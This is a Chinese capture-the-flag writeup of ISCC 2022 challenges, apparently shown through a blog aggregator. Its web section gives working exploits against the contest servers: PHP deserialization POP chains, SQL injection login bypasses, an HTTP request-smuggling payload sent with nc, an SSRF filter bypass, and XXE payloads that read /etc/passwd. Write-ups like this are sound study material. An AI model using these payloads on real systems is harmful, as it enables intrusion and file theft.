惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

H
Heimdal Security Blog
A
Arctic Wolf
K
Kaspersky official blog
V
Vulnerabilities – Threatpost
Threat Intelligence Blog | Flashpoint
Threat Intelligence Blog | Flashpoint
Simon Willison's Weblog
Simon Willison's Weblog
L
LINUX DO - 热门话题
MongoDB | Blog
MongoDB | Blog
T
Threat Research - Cisco Blogs
D
Docker
爱范儿
爱范儿
T
Tenable Blog
C
Check Point Blog
B
Blog
C
Cisco Blogs
Vercel News
Vercel News
The Cloudflare Blog
T
Threatpost
NISL@THU
NISL@THU
T
Tor Project blog
V2EX - 技术
V2EX - 技术
P
Palo Alto Networks Blog
Application and Cybersecurity Blog
Application and Cybersecurity Blog
T
Tailwind CSS Blog
G
GRAHAM CLULEY
P
Privacy & Cybersecurity Law Blog
SecWiki News
SecWiki News
博客园 - 司徒正美
S
Security @ Cisco Blogs
GbyAI
GbyAI
S
Secure Thoughts
Microsoft Security Blog
Microsoft Security Blog
The Register - Security
The Register - Security
Recorded Future
Recorded Future
Cloudbric
Cloudbric
Webroot Blog
Webroot Blog
N
News and Events Feed by Topic
Y
Y Combinator Blog
博客园_首页
T
Troy Hunt's Blog
The Hacker News
The Hacker News
雷峰网
雷峰网
Google DeepMind News
Google DeepMind News
U
Unit 42
AWS News Blog
AWS News Blog
PCI Perspectives
PCI Perspectives
V
Visual Studio Blog
博客园 - 聂微东
有赞技术团队
有赞技术团队
酷 壳 – CoolShell
酷 壳 – CoolShell

Hi, I Am I

[I Am I 年度简报] — 不知终日梦为鱼 初探 ESP32-CAM QQ 聊天记录 MHT 文件转 HTML [I Am I 年度简报] - 草木本无意,荣枯自有时。 Hexo 中实现 Live Photos 支持 写在当下 NKCTF 2024 1z_F0r3ns1c5 Writeup 春秋杯冬季赛 2023 Writeup [I Am I 年度简报] - 2023 某内网渗透内部赛 Writeup 强网拟态 2023 Writeup Github Actions 自动化部署 Hexo 浅析CobaltStrike流量解密 陇剑杯 2023 Writeup CTF线下赛AWDP总结 ISCC 2023 Writeup ISCC 2023 实战题 Writeup CISCN 2023 Writeup 福建闽盾杯网络空间安全大赛 2023 Writeup 天一永安杯宁波市网络安全大赛 2023 Writeup 贵阳大数据及网络安全精英对抗赛 2023 Writeup 红明谷杯 2023 Writeup Confetti 带来有仪式感的鼓励 记一次 JS 逆向密码加密 [I Am I 年度简报] – 2022 PHP 读取 Excel 文件内容并写入数据库 从0开始的 MoeCTF 开发之路 观安杯 2022 Writeup 利用微信服务号实现早安自动化 Cloudflare批量拉黑IP脚本 蓝帽杯 2022 Writeup 为你的网站添加 Do you like me 小组件 CISCN 2022 Writeup ISCC 2022 实战题 Writeup CTF线下赛AWD攻防总结 [I Am I 年度简报] – 2021 记一次 CNVD 通用型漏洞证书挖掘 Google Adsense 收款流程 使用 Digispark 开发板制作 BadUSB 在 Vue 中使用 Axios 获取钉钉群直播回放的 M3U8 地址 Flask 框架学习记录 关于 Ten·API 防火墙的配置 关于最近 关于 Burp Suite 调教这档事 ISCC 2021 Writeup 记一次 CTF 环境和动态独立靶机部署 各大平台图集解析思路 情话总雷同,恨意千万种 HackThisSite Basic Writeup [I Am I 年度简报] - 2020 Kali 设置中文语言和更换镜像源 使用 Python 下载哔哩哔哩视频 PHP使用 CURL 发送网络请求 PHP蓝奏云直链解析源码 从0开始写一个短视频去水印接口 Windows+Ubuntu 双系统之美化 GRUB Windows+Ubuntu 双系统安装 树莓派安装 Aria2 实现24小时不间断的下载机 抖音无水印解析最新PHP源码 API-Admin Ten·API管理后台 树莓派安装 DLNA 实现流媒体服务器 [I Am I 年度简报] - 2019 Hello Hexo Goindex 将 Google Drive 打造成网盘 自用博客评论邮件通知美化模板 使用 IFTTT 长久保留 Google Voice 号码 Telegram MTProxy 代理一键安装脚本 三分钟学会搭建我的世界基岩版服务器 PHP跳转QQ聊天窗口源码 推荐几款开源HTML5(Web)框架 谷歌新出浏览器 Chromium 可以直接翻墙 Live2D!为你的网站添加看板娘 为你的网站添加Gittalk评论 网站数据离奇丢失...... Lsky Pro(兰空图床)—又一款单纯的图床程序 LOL明天解封ヾ(◍°∇°◍)ノ゙ 唔~本站受到DDOS攻击 [I Am I 年度简报] – 2018 死肥宅也要谈恋爱之早安晚安自动化 1024,Hello,world! OneIndex 将 OneDrive 打造成网盘 宝塔面板 Bt.cn 专业版破解教程 Uptime >>16 years 震惊!坐在家里竟然可以日入百万 免费获取一年的 .ooo 域名 PHP 调用 新浪API 生成短网址 思杰马克丁成 Adobe 中国授权经销商 畅言商业广告上线-去除畅言评论广告 使用网易云音乐官方接口解析VIP音乐 PHP获取QQ昵称和头像API 坦白说查发送人QQ新方法(已失效) 日常水一波 通过微博图片地址溯源上传者 WordPress 评论夜间自动改为必须审核 十步叫你如何无损修复硬盘锁(mbr病毒) [I Am I 年度简报] – 2017 密码破解与心理学 网页屏蔽各种按键的代码分享 网络安全技术专业术语
ISCC 2022 Writeup
2022-06-06 · via Hi, I Am I

河南提交Writeup时间已过,今天把自己整理的WP发出来,今年和去年相比解出了更多的题,也认识了一些师傅。

WEB

冬奥会

你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?

<?php

show_source(__FILE__);

$Step1=False;
$Step2=False;

$info=(array)json_decode(@$_GET['Information']);

if(is_array($info)){

    var_dump($info);

    is_numeric(@$info["year"])?die("Sorry~"):NULL;
    if(@$info["year"]){
        ($info["year"]=2022)?$Step1=True:NULL;
    }
    if(is_array(@$info["items"])){
        if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
        $status = array_search("skiing", $info["items"]);
        $status===false?die("Sorry~"):NULL;
        foreach($info["items"] as $key=>$val){
            $val==="skiing"?die("Sorry~"):NULL;
        }
        $Step2=True;
    }
}

if($Step1 && $Step2){
    include "2022flag.php";echo $flag;
}
?>

开头使用 json_decode 要求 year 不能是数字,其次就是数组 count ,也就是长度必须是 3,然后在绕绕 array_search 就行了,简单的一批。

{"year":"a","items":[0,[1,0,1],2]}

Pop2020

大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?

<?php

echo 'Happy New Year~ MAKE A WISH<br>';

if(isset($_GET['wish'])){
    @unserialize($_GET['wish']);
}
else{
    $a=new Road_is_Long;
    highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/

class Road_is_Long{
    public $page;
    public $string;
    public function __construct($file='index.php'){
        $this->page = $file;
    }
    public function __toString(){
        return $this->string->page;
    }

    public function __wakeup(){
        if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
            echo "You can Not Enter 2022";
            $this->page = "index.php";
        }
    }
}

class Try_Work_Hard{
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Make_a_Change{
    public $effort;
    public function __construct(){
        $this->effort = array();
    }

    public function __get($key){
        $function = $this->effort;
        return $function();
    }
}
/**********************Try to See flag.php*****************************/

原题 NISACTF2022POPchain


__construc()  # 当一个对象创建时被调用,
__toString()  # 当一个对象被当作一个字符串被调用。
__wakeup()    # 使用unserialize时触发
__get()       # 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke()    # 当脚本尝试将对象调用为函数时触发

题目存在 include 变量,可以尝试控制 $value 通过伪协议读取文件,那也就是是需要触发 _invoke

那么,哪里可以将对象调用为函数呢,我们可以看到有

public function __get($key){
    $function = $this->effort;
    return $function();

这里可以看到通过 _get 方法使得 p 这个对象被调用为 函数

可以看到,_get 方法属于 Make_a_Change 类,那么如何调用 Make_a_Change 类呢

从头看,首先 serialize 会触发 __wakeup()

wakeup() 方法通过 preg_match()$this->page 做字符串比较,如果 $this->pageRoad_is_Long 类,就调用了 toString() 方法;

又因为如果 $stringpage 属性难以访问,则会调用 _get

如果 $stringTest 类,则不存在 page 属性

因此可以有POP链:

Try_Work_Hard::__invoke()<--Make_a_Change::__get()<--Road_is_Long::__toString()

// 流程
Road_is_Long:__wakeup.page
$page = new Road_is_Long
$string = new Make_a_Change
$effort = new Try_Work_Hard
$var='php://filter/read=convert.base64-encode/resource=flag.php'; 

构造EXP

<?php
class Try_Work_Hard{
 protected  $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
 
public $string;
}
class Make_a_Change{
    
public $effort;
}
 
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
 
$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;
 
echo urlencode(serialize($a));
O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D

Easy-SQL

Beaxia的邮箱地址忘记了,你能帮忙找找吗?

试了一下,id=8 时提示 Can you find beaxia's email? ,所以是找 用户8 的邮箱地址,sqlmap跑不出来,最后手注出来了。

http://59.110.159.206:7010/?id=-8 union table emails limit 7,1

image-20220503185547189

请求后返回了一个 ypHeMPardErE.zip@beaxia.cn 我们直接访问 http://59.110.159.206:7010/ypHeMPardErE.zip 得到网站源码

<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
   if ($conn->connect_errno) {
    die("Connection failed: " . $conn->connect_errno);
} 

echo "Where is the database?"."<br>";

echo "try ?id";

function sqlWaf($s)
{
    $filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
    if (preg_match($filter,$s))
        return False;
    return True;
}

if (isset($_GET['id'])) 
{
    $id = $_GET['id'];
    $sql = "select * from users where id=$id";
    $safe = preg_match('/select/is', $id);
    if($safe!==0)
        die("No select!");
    $result = mysqli_query($conn, $sql);
    if ($result) 
    {
        $row = mysqli_fetch_array($result);
        echo "<h3>" . $row['username'] . "</h3><br>";
        echo "<h3>" . $row['passwd'] . "</h3>";
    }
    else
        die('<br>Error!');
}


if (isset($_POST['username']) && isset($_POST['passwd'])) 
{

    $username = strval($_POST['username']);
    $passwd = strval($_POST['passwd']);

    if ( !sqlWaf($passwd) )
        die('damn hacker');

    $sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
    $result = $conn->query($sql);
    if ($result->num_rows > 0) {
        $row = $result->fetch_assoc();
        if ( $row['username'] === 'admin' && $row['passwd'] )
        {
            if ($row['passwd'] == $passwd)
            {
                die($flag);
            } else {
                die("username or passwd wrong, are you admin?");
            }
        } else {
            die("wrong user");
        }
    } else {
        die("user not exist or wrong passwd");
    }
}
mysqli_close($conn); 
?>
username=-1' union select 1,'admin',2#&passwd=2
-------------------------------------------------
username=admin1' union select 'admin','admin','admin'#&passwd=admin

让我康康!

阿伟说他藏flag超勇的,彬彬托你帮他找出阿伟藏的flag

原题:http://www.hackdig.com/10/hack-519692.htm

payload

echo "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020

爱国敬业好青年-2

这位爱国敬业好青年在哪呢?

image-20220518170818750

根据题干和题目得知要提交位置坐标,这题又和 爱国敬业好青年-1有关联,虽然一直是 0 解,但不影响我解开这题,上一题中有张天安门的图片,直接提交天安门的坐标试试。

<div style="text-align: center;width: 100%;height: 100%;position: absolute;top: -0px;left: -0px;z-index: 1">
    <form class="form" id="a-form" method='POST' action="flag">
        <b style="font-size: 15px">                                                       </b><br>
        <label>Latitude:</label><input style="margin-left: 20px;width: 110px" type="text" name="lati" required> <br>
        <label>Langtitude: </label><input style="width: 110px;margin-left: 5px" type="text" name="langti" required><br>
        <button type="submit" id='true_button' disabled ='true'>提交</button>
        <p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
    </form>
</div>

使用题目内置的表单提交会出问题(也可能是出题人故意留的),我们直接提取出有用的信息 PSOT 请求 /flag,然后经度是 lati ,维度是 langti,直接 hackbar 发出去就行了。

一开始 hackbar 发的好好的,但是一会能出flag一会出不来flag,我麻了,直接 python 循环一百次!

import requests

data = {
    'langti': '39°54′N',
    'lati': '116°23′E'
}

url = 'http://59.110.159.206:8020/flag'

for i in range(0, 100):
    r = requests.post(url, data=data)
    print(r.text)

findme

从赛博朋克的不夜城中找到你想要的秘密吧

打开环境一张赛博朋克图片,在源代码里看到注释了 unser.php

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>Where am I</title>
</head>
<body>
    <img src="1.png" width="100%" height="100%"> <br>
    <!--/unser.php--> 
</body>
</html>

访问后得到题目源码

<?php
highlight_file(__FILE__);

class a{
    public $un0;
    public $un1;
    public $un2;
    public $un3;
    public $un4;
    
    public function __destruct(){
        if(!empty($this->un0) && empty($this->un2)){
            $this -> Givemeanew();
            if($this -> un3 === 'unserialize'){
                $this -> yigei();
            }
            else{
                $this -> giao();
            }
        }
    }

    public function Givemeanew(){
        $this -> un4 = new $this->un0($this -> un1);
    }

    public function yigei(){
        echo 'Your output: '.$this->un4;
    }
    
    public function giao(){
        @eval($this->un2);
    }
    
    public function __wakeup(){
        include $this -> un2.'hint.php';
    }
}

$data = $_POST['data'];
unserialize($data);

<?php
Class a{
	public $un0='SplFileObject';
	public $un1='php://filter/read=convert.base64-encode/resource=hint.php';
	public $un2='';
	public $un3='unserialize';
	public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

Your output: PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7

base64 解码后得到

<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';

<?php
Class a{
    public $un0='GlobIterator';
    public $un1='f*.txt';
	//  使用DirectoryIterator也行
	// 	public $un0='DirectoryIterator';
	// 	public $un1='glob://f*.txt';
	public $un2='';
	public $un3='unserialize';
	public $un4='';
}

$data = new a;
echo urlencode(serialize($data));
?>

data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}

请求后页面新增回显

Your output: fA07TE_G19nde_OR1Der5r.txt

直接访问:http://59.110.159.206:8030/fA07TE_G19nde_OR1Der5r.txt 得到flag

这是一道代码审计题

遇到问题读源代码

访问题目页面显示 /index 请求后一直 404 …突然发现 cookies 有个 login 参数,直接 0 改为 1 页面显示正常了(我在Chrome需要改login参数而在Edge则直接不需要修改

image-20220518195414346

根据题目要求构建请求参数 /index?url=127.0.0.1 源代码中得到一段 base100 编码,解码后得到题目源码。

image-20220518082840858

def geneSign():
    if(control_key==1):
        return render_template("index.html")
    else:
        return "You have not access to this page!"

def check_ssrf(url):
    hostname = urlparse(url).hostname
    try:
        if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
                raise BaseException("url format error")
        if  re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
            if judge_ip(hostname):
                return True
            return False, "You not get the right clue!"
        else:
            ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
            if is_inner_ipaddress(ip_address):
                return False,"inner ip address attack"
            else:
                return False, "You not get the right clue!"
    except BaseException as e:
        return False, str(e)
    except:
        return False, "unknow error"

def ip2long(ip_addr):
    return struct.unpack("!L", socket.inet_aton(ip_addr))[0]

def is_inner_ipaddress(ip):
    ip = ip2long(ip)
    print(ip)
    return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24

def waf1(ip):
    forbidden_list = [ '.', '0', '1', '2', '7']
    for word in forbidden_list:
        if ip and word:
            if word in ip.lower():
                return True
    return False

def judge_ip(ip):
    if(waf1(ip)):
        return Fasle
    else:
        addr = addr.encode(encoding = "utf-8")
        ipp = base64.encodestring(addr)
        ipp = ipp.strip().lower().decode()
        if(ip==ipp):
            global control_key
            control_key = 1
            return True
        else:
            return False

很明显是构建 SSRF ,加个 @ 绕过 waf 并把127.0.0.1 base64编码一下构造绕过 /index?url=http://@MTI3LjAuMC4x

image-20220518083052199

访问 /mti3ljaumc4x 同时按照题目要求设置好 Cookie

image-20220518083153927

测试发现存在 XXE

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518083425392

直接拿到FLAG

POST /mti3ljaumc4x/codelogin HTTP/1.1
Host: 59.110.159.206:8040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: login=0; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
Content-Length: 163

<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///proc/self/cwd/flag.txt">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>

image-20220518082754163

MISC

单板小将苏翊鸣

在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。

打开后俩文件 原图.png 和 加密压缩包flag.rar,很明显图片缺半截,我们直接高度改为 1000px

image-20220502111843888

多出来的像素出现了二维码,直接扫码,得到一段 unicode ,解密后得到

在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?

image-20220502112028976

根据提示搜索一番,得到 flag.rar 解压密码 15942 其实这种弱密码我觉得爆破更快一些2333,解压后得到flag。

image-20220502112151946

降维打击

降维打击

附件图片是《魔女之旅》中的伊蕾娜,我们用 foremost 分离出另一张图片

image-20220502112940882

然后使用 zsteg 文件名 -a 命令发现 b1,r,lsb,yx 还有一张 png 图片

image-20220502113011252

我们使用 zsteg -E 'b1,r,lsb.yx' 文件名 > flag.png 提取出这张图片

image-20220502113249665

根据图片名百度 魔女之旅 文字 找到了两篇文章

《魔女之旅》文字破解:https://www.bilibili.com/read/cv7855745

《魔女之旅》文字破解·印刷体:https://www.bilibili.com/read/cv8724055

重要的就是下面那两张图,直接对比出来相应的英文大写字母即可(眼都看瞎了),flag格式:ISCC{--****}

image-20220502113202447

image-20220502113220924

藏在星空中的诗-1

漫天的繁星也许是一首美丽的诗!(建议使用winRAR)

下载后三个附件 Stars.psdPoem.txt 和 加密压缩包Poem_is_the_Key.zip

Ps打开Stars.psd文件,图层1 不透明度改为 100,发现出来一个有箭头指向的星星

image-20220502113929472

我们直接把 Poem.txt 通过上面星星的指向顺序 13524 排列出 Poem_is_the_Key.zip 的解压密码(一定要用Winrar,其他解压软件应该不支持这种密码)。

image-20220502114123042

压缩包解密后得到一个表格

image-20220502114506034

然后把 Poem.txt 里面的星星,对照着表格中的字母敲出来,第一行为 FLAG= ,第二行为 ISCC{ ,依此对照敲出 三四五

Flag格式:ISCC{14个大写字符}

真相只有一个

misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。

打开 flag.txt 全选后发现有点像 snow,解密密码猜了一下,直接 snow.exe -C -p isccmisc flag.txt,得到flag

image-20220502132525237

小光学AI

小光同学最近在学习人工智能技术,看了周志华老师的西瓜书后,感觉自己又行了。 这次他找来了三种水果的图片:黄瓜、茄子和蘑菇,研究的第一步是区分这三种水果,将三种水果分类;第二步是图像分割,选中目标区域,目标区域指的是能够覆盖图片中水果区域的最小矩形。 做完后小光同学计算出了三种水果目标区域的像素和A,B,C(0<A,B,C<10^9),发现这些像素和可以化简到x:y:z,其中(0<x,y,z<10),你可以找到A,B,C三者的实际值之比吗(格式A:B:C)?

Flag格式:ISCC{XXX}

没学过AI,题干也没看懂直接按照题目中提到的格式生成字典爆破

out = []
fp = open("encode.txt", "w+", encoding="ANSI")

for i in range(1 ,10):
    for j in range(1, 10):
        for m in range(1, 10):
            for n in range(10000,100000):
                fp.write("{0}{1}{2}\n".format(i*n, j*n, m*n))
print("Done")

解压密码

37035:49380:61725

2022冬奥会

2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。

这题没什么好说的,冰墩墩原型是熊猫,雪容融原型是灯笼,所以解压密码是:灯笼 解压之后记事本打开图片,得到flag

image-20220510144419395

藏在星空中的诗-2

漫天的繁星也许是另一首美丽的诗!

打开后如图所示,和 藏在星空中的诗-1 差不多,直接对照着 藏在星空中的诗-1 中的表格敲出密文。

image-20220510211223983

\QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPK\QTTFB\QTTPD\QTTFK\QTTFO\QTTKT\QTTFE\QTTKG\QTTKD\QTTFU\QTTPG\QTTDU\QTTKU\QTTPK\QTTKH

然后 QTT 批量替换为 u00,然后对照着表格进行解密。示例 QYYPU = u0049

image-20220510144818336

最后得到一段 unicode ,直接解密即可

\u0049\u0053\u0043\u0043\u007B\u0047\u006B\u0043\u0067\u006F\u0070\u0065\u007A\u0073\u0069\u004A\u0039\u0079\u0047\u007D

隐秘的信息

乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?

题干中的字符串是 base64 编码,直接解密得到压缩包的解压密码 easy_to_find_the_flag ,使用 StegSolve 发现图片是 LSB 隐写(R0/G0/B0),直接复制我选中的字符串,如下所示。

image-20220511182630592

删掉右侧多余的乱码字符串,只保留左侧的16进制代码,如下所示。

fff495343437b6b5 4336a74507377355  23759365270796a4 e7a307dc01f8007f  fffc7e3fe00fff00 71

使用 CyberChefFrom HexTo Binary 得到一串二进制代码。

image-20220511182812500

直接把前面的 1 删掉,然后再 From Binary 转换为字符串就会出现flag。

image-20220511182949210

套中套

亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……

下载附件得到俩文件 tzt.png 和加密压缩包 tzt2.zip ,打开 png 提示文件损坏,010编辑器打开在末尾发现一段 base64,解码后得到flag2: _ISCC_Zo2z

image-20220518104938144

然后很明显看到缺了文件头,直接补上 89504e470d0a1a0a0000000d ,正常打开图片… 啥也没有。

image-20220518104500535

直接修改 高度 得到 wELC0m3_

image-20220518104743023

image-20220518104755549

尝试了各种组合,还是解不开压缩包,也得不到 flag3 在哪,最后靠学弟猜出了完整的字符串:wELC0m3_T0_tH3_ISCC_Zo2z ,使用这段字符串解压压缩包。

解压后得到一堆文件,百度了一番发现是原题(背包加密):https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/#_9 ,直接用脚本一把梭了。

直接把解压后 pub.Keyenc.txt 文件内容填入下面的脚本中。然后使用 https://sagecell.sagemath.org/ 在线运行。

pubKey = 
nbit = len(pubKey)
encoded = 
A = Matrix(ZZ, nbit + 1, nbit + 1)

for i in range(nbit):
    A[i, i] = 1

for i in range(nbit):
    A[i, nbit] = pubKey[i]

A[nbit, nbit] = -(encoded)

res = A.LLL()
for i in range(0, nbit + 1):
    
    M = res.row(i).list()
    flag = True
    for m in M:
        if m != 0 and m != 1:
            flag = False
            break
    if flag == True:
        M = ''.join(str(j) for j in M)
        M = M[:-1]
        M = hex(int(M, 2))[2:]
        print(hex(int(M,16)))

image-20220518105636374

然后直接十六进制转字符串即可

image-20220518105713329

666

小孔同学最近新加入了一个实验室,作为一名菜鸡,每天的重要工作之一就是给大佬喊666。不过如今喊666的方式也要创新,你有什么好的办法吗?

注:本题结果X加上ISCC{}写作ISCC{X}

压缩包有伪加密,直接修复一下

image-20220525075847540

解压后得到加密压缩包 flag.rar 和 一张熊本熊的图片,使用 steghide 解密熊本熊图,密码随便试了个弱口令成功了

image-20220525081046327

得到半截 png 图片,图片高度修改为 300 得到压缩包密码 !@#$%678()_+

image-20220525081155778

image-20220525081206214

解压压缩包后得到 stream.pcapng ,看到了里面有 http 请求,我们直接导出 http 请求

image-20220525082947756

在json文件中发现一个网址

image-20220525083101751

打开 https://www.cnblogs.com/konglingdi/p/14998301.html 发现一张千与千寻的图,而且可以看到有东西一闪而过了

第七帧

SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==

base64解密后得到

HIDEkey:852 987456321 98423 98423 REALkey:xSxx

852 987456321 98423 通过手机九键键盘加密可以得出 ISCC ,大概就是下面这个意思

image-20220525085047647

第16帧

pQLKpP/

第26帧

EPmw301eZRzuYvQ==

16 帧和第26 帧拼接到一块,然后 AES 解密,密码 ISCC,得到flag

image-20220525085324875

REVERSE

Amy’s Code

代码好像有点眼熟?

ida x32 打开,直接定位到 sub_412550F5 查看伪代码。

image-20220507131421589

v9 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
# v9[0] - v9[19]
v9[0] = 149;
v9[1] = 169;
v9[2] = 137;
v9[3] = 134;
v9[4] = 212;
v9[5] = 188;
v9[6] = 177;
v9[7] = 184;
v9[8] = 177;
v9[9] = 197;
v9[10] = 192;
v9[11] = 179;
v9[12] = 153;
v9[13] = 163;
v9[14] = 195;
v9[15] = 137;
v9[16] = 112;
v9[17] = 189;
v9[18] = 110;
v9[19] = 184;

str1 = 'LWHFUENGDJGEFHYDHIGJ'
flag = ''
for i in range(len(str1)):
    flag += chr(v9[i] - ord(str1[i])^i)
print(flag)

How_decode

只要你输入的是正确答案,程序就会告诉你,你是对的,加油

ida x64 打开,直接定位到 main 函数,F5 查看伪代码。

image-20220507131502071

Encode函数v2 加密了,加密后的 v2 数组和 p_v1 数组进行比较(全部相等输出正确)

encode(v2, n, k);
for ( i_0 = 0; i_0 < n; ++i_0 )
{
    if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] )
        goto LABEL_2;
}
printf("Your input is the right answer!");

通过开头这一段我们能够拿到 p_v1 数组即加密后的 v2 ,用于加密的 k 和长度 n

  n1 = 18;
  v11 = 17i64;
  v3 = alloca(80i64);
  p_v1 = (int (*)[])(4 * (((unsigned __int64)v2 + 3) >> 2));
  v4 = p_v1;
  *(_DWORD *)p_v1 = 646664799;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1563984516;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 5403868;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -851615406;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1577982033;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1112569621;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -2038538024;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 89732896;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 856644365;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1143066723;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 1826125009;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 947398586;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -204891967;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -1909151093;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 632925486;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = 381866701;
  v4 = (int (*)[])((char *)v4 + 4);
  *(_DWORD *)v4 = -976384688;
  *((_DWORD *)v4 + 1) = -1681924957;
  k[0] = 73;
  k[1] = 83;
  k[2] = 67;
  k[3] = 67;

进入加密函数 encode 可以看出来是一个 XXTEA加密 或者通过 findcrypt 插件也可以看出来

void __cdecl encode(int *v, int n, const int *key)
{
  int *v4; // rax
  int *v5; // rax
  int y; // [rsp+8h] [rbp-18h]
  int e; // [rsp+Ch] [rbp-14h]
  int rounds; // [rsp+10h] [rbp-10h]
  int p; // [rsp+14h] [rbp-Ch]
  int sum; // [rsp+18h] [rbp-8h]
  int z; // [rsp+1Ch] [rbp-4h]

  rounds = 52 / n + 6;
  sum = 0;
  for ( z = v[n - 1]; rounds--; z = *v5 )
  {
    sum -= 1640531527;
